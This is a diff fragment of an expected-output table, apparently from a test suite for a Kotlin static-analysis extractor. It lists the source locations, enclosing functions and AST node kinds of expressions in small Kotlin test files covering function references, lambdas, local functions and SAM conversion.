+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | ...::... | funcExprs.kt:21:1:52:1 | call | MemberRefExpr |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | ...[...] | funcExprs.kt:46:30:46:41 | invoke | ArrayAccess |
+| funcExprs.kt:46:30:46:41 | FuncRef | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | FunctionN<String> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:46:30:46:41 | String | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | a0 | funcExprs.kt:46:30:46:41 | invoke | VarAccess |
+| funcExprs.kt:46:30:46:41 | f23(...) | funcExprs.kt:46:30:46:41 | invoke | MethodAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:46:30:46:41 | int | funcExprs.kt:46:30:46:41 | invoke | TypeAccess |
+| funcExprs.kt:48:5:48:24 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:48:24:48:24 | 5 | funcExprs.kt:48:5:48:24 | local | IntegerLiteral |
+| funcExprs.kt:49:5:49:33 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:49:5:49:33 | functionExpression0a(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:49:26:49:32 | ...::... | funcExprs.kt:21:1:52:1 | call | MemberRefExpr |
+| funcExprs.kt:49:26:49:32 | Function0<Integer> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:49:26:49:32 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:49:26:49:32 | Object | funcExprs.kt:49:26:49:32 | invoke | TypeAccess |
+| funcExprs.kt:49:26:49:32 | local(...) | funcExprs.kt:49:26:49:32 | invoke | MethodAccess |
+| funcExprs.kt:49:26:49:32 | new (...) | funcExprs.kt:49:26:49:32 | invoke | ClassInstanceExpr |
+| funcExprs.kt:51:5:51:17 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:51:5:51:17 | FuncRef | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:51:5:51:17 | fn(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:51:8:51:16 | ...::... | funcExprs.kt:21:1:52:1 | call | MemberRefExpr |
+| funcExprs.kt:51:8:51:16 | FuncRef | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:51:8:51:16 | FuncRef | funcExprs.kt:51:8:51:16 | invoke | TypeAccess |
+| funcExprs.kt:51:8:51:16 | Function0<FuncRef> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:51:8:51:16 | new FuncRef(...) | funcExprs.kt:51:8:51:16 | invoke | ClassInstanceExpr |
+| funcExprs.kt:55:23:55:49 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:55:34:55:39 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:55:49:55:49 | 5 | funcExprs.kt:55:23:55:49 | invoke | IntegerLiteral |
+| funcExprs.kt:58:1:58:25 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:58:12:58:21 | Function0<T> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:58:12:58:21 | T | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:59:1:59:22 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:59:5:59:7 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:59:12:59:17 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:59:22:59:22 | 5 | funcExprs.kt:59:1:59:22 | f3 | IntegerLiteral |
+| funcExprs.kt:63:9:63:25 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:63:25:63:25 | 5 | funcExprs.kt:63:9:63:25 | f0 | IntegerLiteral |
+| funcExprs.kt:65:5:65:21 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:65:21:65:21 | 5 | funcExprs.kt:65:5:65:21 | f0 | IntegerLiteral |
+| funcExprs.kt:66:5:66:27 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:66:12:66:17 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:66:27:66:27 | 5 | funcExprs.kt:66:5:66:27 | f1 | IntegerLiteral |
+| funcExprs.kt:67:5:68:123 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:67:13:67:19 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:67:22:67:28 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:67:31:67:37 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:67:40:67:46 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:67:49:67:55 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:67:58:67:64 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:67:67:67:73 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:67:76:67:82 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:67:85:67:91 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:67:94:67:100 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:67:103:67:110 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:68:13:68:20 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:68:23:68:30 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:68:33:68:40 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:68:43:68:50 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:68:53:68:60 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:68:63:68:69 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:68:72:68:79 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:68:82:68:89 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:68:92:68:99 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:68:102:68:109 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:68:112:68:119 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:69:5:70:135 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:69:13:69:19 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:69:22:69:28 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:69:31:69:37 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:69:40:69:46 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:69:49:69:55 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:69:58:69:64 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:69:67:69:73 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:69:76:69:82 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:69:85:69:91 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:69:94:69:100 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:69:103:69:110 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:70:13:70:20 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:70:23:70:30 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:70:33:70:40 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:70:43:70:50 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:70:53:70:60 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:70:63:70:69 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:70:72:70:79 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:70:82:70:89 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:70:92:70:99 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:70:102:70:109 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:70:112:70:119 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:70:122:70:129 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:70:134:70:135 |  | funcExprs.kt:69:5:70:135 | f23 | StringLiteral |
+| funcExprs.kt:74:5:76:5 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:75:9:75:22 | fn(...) | funcExprs.kt:74:5:76:5 | call | MethodAccess |
+| funcExprs.kt:75:9:75:22 | this | funcExprs.kt:74:5:76:5 | call | ThisAccess |
+| funcExprs.kt:75:12:75:22 | ...->... | funcExprs.kt:74:5:76:5 | call | LambdaExpr |
+| funcExprs.kt:75:12:75:22 | Function1<Generic<Generic<Integer>>,String> | funcExprs.kt:74:5:76:5 | call | TypeAccess |
+| funcExprs.kt:75:12:75:22 | Generic<Generic<Integer>> | funcExprs.kt:74:5:76:5 | call | TypeAccess |
+| funcExprs.kt:75:12:75:22 | Generic<Integer> | funcExprs.kt:74:5:76:5 | call | TypeAccess |
+| funcExprs.kt:75:12:75:22 | Integer | funcExprs.kt:74:5:76:5 | call | TypeAccess |
+| funcExprs.kt:75:12:75:22 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:75:12:75:22 | String | funcExprs.kt:74:5:76:5 | call | TypeAccess |
+| funcExprs.kt:75:14:75:14 | Generic<Generic<Integer>> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:75:14:75:14 | Generic<Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:75:14:75:14 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:75:20:75:20 | a | funcExprs.kt:75:12:75:22 | invoke | StringLiteral |
+| funcExprs.kt:77:13:77:60 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:77:20:77:55 | Function1<Generic<Generic<Integer>>,String> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:77:20:77:55 | Generic<Generic<Integer>> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:77:20:77:55 | Generic<Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:77:20:77:55 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:77:20:77:55 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| kFunctionInvoke.kt:4:5:4:24 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| kFunctionInvoke.kt:4:11:4:19 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| kFunctionInvoke.kt:7:1:10:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| kFunctionInvoke.kt:7:12:7:15 | A | file://:0:0:0:0 | <none> | TypeAccess |
+| kFunctionInvoke.kt:7:18:7:26 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| kFunctionInvoke.kt:8:5:8:47 | toCall | kFunctionInvoke.kt:7:1:10:1 | useRef | LocalVariableDeclExpr |
+| kFunctionInvoke.kt:8:44:8:44 | a | kFunctionInvoke.kt:7:1:10:1 | useRef | VarAccess |
+| kFunctionInvoke.kt:8:44:8:47 | ...::... | kFunctionInvoke.kt:7:1:10:1 | useRef | MemberRefExpr |
+| kFunctionInvoke.kt:8:44:8:47 | ...=... | kFunctionInvoke.kt:8:44:8:47 |  | AssignExpr |
+| kFunctionInvoke.kt:8:44:8:47 | <dispatchReceiver> | kFunctionInvoke.kt:8:44:8:47 |  | VarAccess |
+| kFunctionInvoke.kt:8:44:8:47 | A | file://:0:0:0:0 | <none> | TypeAccess |
+| kFunctionInvoke.kt:8:44:8:47 | Function1<String,Unit> | kFunctionInvoke.kt:7:1:10:1 | useRef | TypeAccess |
+| kFunctionInvoke.kt:8:44:8:47 | String | kFunctionInvoke.kt:7:1:10:1 | useRef | TypeAccess |
+| kFunctionInvoke.kt:8:44:8:47 | Unit | kFunctionInvoke.kt:7:1:10:1 | useRef | TypeAccess |
+| kFunctionInvoke.kt:8:44:8:47 | a0 | kFunctionInvoke.kt:8:44:8:47 | invoke | VarAccess |
+| kFunctionInvoke.kt:8:44:8:47 | f(...) | kFunctionInvoke.kt:8:44:8:47 | invoke | MethodAccess |
+| kFunctionInvoke.kt:8:44:8:47 | this | kFunctionInvoke.kt:8:44:8:47 |  | ThisAccess |
+| kFunctionInvoke.kt:8:44:8:47 | this | kFunctionInvoke.kt:8:44:8:47 | invoke | ThisAccess |
+| kFunctionInvoke.kt:8:44:8:47 | this.<dispatchReceiver> | kFunctionInvoke.kt:8:44:8:47 |  | VarAccess |
+| kFunctionInvoke.kt:8:44:8:47 | this.<dispatchReceiver> | kFunctionInvoke.kt:8:44:8:47 | invoke | VarAccess |
+| kFunctionInvoke.kt:9:5:9:10 | toCall | kFunctionInvoke.kt:7:1:10:1 | useRef | VarAccess |
+| kFunctionInvoke.kt:9:5:9:13 | invoke(...) | kFunctionInvoke.kt:7:1:10:1 | useRef | MethodAccess |
+| kFunctionInvoke.kt:9:12:9:12 | s | kFunctionInvoke.kt:7:1:10:1 | useRef | VarAccess |
+| localFunctionCalls.kt:3:1:12:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| localFunctionCalls.kt:4:5:4:13 | x | localFunctionCalls.kt:3:1:12:1 | x | LocalVariableDeclExpr |
+| localFunctionCalls.kt:4:13:4:13 | 5 | localFunctionCalls.kt:3:1:12:1 | x | IntegerLiteral |
+| localFunctionCalls.kt:5:5:5:29 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| localFunctionCalls.kt:5:15:5:20 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| localFunctionCalls.kt:5:25:5:25 | i | localFunctionCalls.kt:5:5:5:29 | a | VarAccess |
+| localFunctionCalls.kt:5:25:5:29 | ... + ... | localFunctionCalls.kt:5:5:5:29 | a | AddExpr |
+| localFunctionCalls.kt:5:29:5:29 | x | localFunctionCalls.kt:5:5:5:29 | a | VarAccess |
+| localFunctionCalls.kt:6:5:6:5 | x | localFunctionCalls.kt:3:1:12:1 | x | VarAccess |
+| localFunctionCalls.kt:6:5:6:9 | ...=... | localFunctionCalls.kt:3:1:12:1 | x | AssignExpr |
+| localFunctionCalls.kt:6:9:6:9 | 6 | localFunctionCalls.kt:3:1:12:1 | x | IntegerLiteral |
+| localFunctionCalls.kt:7:5:7:17 | <implicit coercion to unit> | localFunctionCalls.kt:3:1:12:1 | x | ImplicitCoercionToUnitExpr |
+| localFunctionCalls.kt:7:5:7:17 | Object | localFunctionCalls.kt:3:1:12:1 | x | TypeAccess |
+| localFunctionCalls.kt:7:5:7:17 | String | localFunctionCalls.kt:3:1:12:1 | x | TypeAccess |
+| localFunctionCalls.kt:7:5:7:17 | Unit | localFunctionCalls.kt:3:1:12:1 | x | TypeAccess |
+| localFunctionCalls.kt:7:5:7:17 | a(...) | localFunctionCalls.kt:3:1:12:1 | x | MethodAccess |
+| localFunctionCalls.kt:7:5:7:17 | new (...) | localFunctionCalls.kt:3:1:12:1 | x | ClassInstanceExpr |
+| localFunctionCalls.kt:7:15:7:16 | 42 | localFunctionCalls.kt:3:1:12:1 | x | IntegerLiteral |
+| localFunctionCalls.kt:8:5:8:5 | x | localFunctionCalls.kt:3:1:12:1 | x | VarAccess |
+| localFunctionCalls.kt:8:5:8:9 | ...=... | localFunctionCalls.kt:3:1:12:1 | x | AssignExpr |
+| localFunctionCalls.kt:8:9:8:9 | 7 | localFunctionCalls.kt:3:1:12:1 | x | IntegerLiteral |
+| localFunctionCalls.kt:9:5:9:34 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| localFunctionCalls.kt:9:14:9:19 | C1<T1> | file://:0:0:0:0 | <none> | TypeAccess |
+| localFunctionCalls.kt:9:14:9:19 | T1 | file://:0:0:0:0 | <none> | TypeAccess |
+| localFunctionCalls.kt:9:24:9:29 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| localFunctionCalls.kt:9:34:9:34 | 5 | localFunctionCalls.kt:9:5:9:34 | f1 | IntegerLiteral |
+| localFunctionCalls.kt:10:5:10:13 | C1<Integer> | localFunctionCalls.kt:3:1:12:1 | x | TypeAccess |
+| localFunctionCalls.kt:10:5:10:13 | Integer | localFunctionCalls.kt:3:1:12:1 | x | TypeAccess |
+| localFunctionCalls.kt:10:5:10:13 | new C1<Integer>(...) | localFunctionCalls.kt:3:1:12:1 | x | ClassInstanceExpr |
+| localFunctionCalls.kt:10:15:10:20 | <implicit coercion to unit> | localFunctionCalls.kt:3:1:12:1 | x | ImplicitCoercionToUnitExpr |
+| localFunctionCalls.kt:10:15:10:20 | Integer | localFunctionCalls.kt:3:1:12:1 | x | TypeAccess |
+| localFunctionCalls.kt:10:15:10:20 | Object | localFunctionCalls.kt:3:1:12:1 | x | TypeAccess |
+| localFunctionCalls.kt:10:15:10:20 | Unit | localFunctionCalls.kt:3:1:12:1 | x | TypeAccess |
+| localFunctionCalls.kt:10:15:10:20 | f1(...) | localFunctionCalls.kt:3:1:12:1 | x | MethodAccess |
+| localFunctionCalls.kt:10:15:10:20 | new (...) | localFunctionCalls.kt:3:1:12:1 | x | ClassInstanceExpr |
+| localFunctionCalls.kt:10:18:10:19 | 42 | localFunctionCalls.kt:3:1:12:1 | x | IntegerLiteral |
+| localFunctionCalls.kt:11:5:11:13 | C1<Integer> | localFunctionCalls.kt:3:1:12:1 | x | TypeAccess |
+| localFunctionCalls.kt:11:5:11:13 | Integer | localFunctionCalls.kt:3:1:12:1 | x | TypeAccess |
+| localFunctionCalls.kt:11:5:11:13 | new C1<Integer>(...) | localFunctionCalls.kt:3:1:12:1 | x | ClassInstanceExpr |
+| localFunctionCalls.kt:11:15:11:20 | <implicit coercion to unit> | localFunctionCalls.kt:3:1:12:1 | x | ImplicitCoercionToUnitExpr |
+| localFunctionCalls.kt:11:15:11:20 | Integer | localFunctionCalls.kt:3:1:12:1 | x | TypeAccess |
+| localFunctionCalls.kt:11:15:11:20 | Object | localFunctionCalls.kt:3:1:12:1 | x | TypeAccess |
+| localFunctionCalls.kt:11:15:11:20 | Unit | localFunctionCalls.kt:3:1:12:1 | x | TypeAccess |
+| localFunctionCalls.kt:11:15:11:20 | f1(...) | localFunctionCalls.kt:3:1:12:1 | x | MethodAccess |
+| localFunctionCalls.kt:11:15:11:20 | new (...) | localFunctionCalls.kt:3:1:12:1 | x | ClassInstanceExpr |
+| localFunctionCalls.kt:11:18:11:19 | 42 | localFunctionCalls.kt:3:1:12:1 | x | IntegerLiteral |
+| samConversion.kt:1:1:14:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:1:10:1:19 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:2:5:2:45 | isEven | samConversion.kt:1:1:14:1 | main | LocalVariableDeclExpr |
+| samConversion.kt:2:18:2:45 | (...)... | samConversion.kt:1:1:14:1 | main | CastExpr |
+| samConversion.kt:2:18:2:45 | ...=... | samConversion.kt:2:18:2:45 |  | AssignExpr |
+| samConversion.kt:2:18:2:45 | <fn> | samConversion.kt:2:18:2:45 |  | VarAccess |
+| samConversion.kt:2:18:2:45 | <fn> | samConversion.kt:2:18:2:45 | accept | VarAccess |
+| samConversion.kt:2:18:2:45 | Boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:2:18:2:45 | Function1<Integer,Boolean> | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:2:18:2:45 | IntPredicate | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:2:18:2:45 | IntPredicate | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:2:18:2:45 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:2:18:2:45 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:2:18:2:45 | i | samConversion.kt:2:18:2:45 | accept | VarAccess |
+| samConversion.kt:2:18:2:45 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:2:18:2:45 | invoke(...) | samConversion.kt:2:18:2:45 | accept | MethodAccess |
+| samConversion.kt:2:18:2:45 | new (...) | samConversion.kt:1:1:14:1 | main | ClassInstanceExpr |
+| samConversion.kt:2:18:2:45 | this | samConversion.kt:2:18:2:45 |  | ThisAccess |
+| samConversion.kt:2:18:2:45 | this.<fn> | samConversion.kt:2:18:2:45 |  | VarAccess |
+| samConversion.kt:2:31:2:45 | ...->... | samConversion.kt:1:1:14:1 | main | LambdaExpr |
+| samConversion.kt:2:31:2:45 | Boolean | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:2:31:2:45 | Function1<Integer,Boolean> | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:2:31:2:45 | Integer | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:2:31:2:45 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:2:31:2:45 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:2:33:2:34 | it | samConversion.kt:2:31:2:45 | invoke | VarAccess |
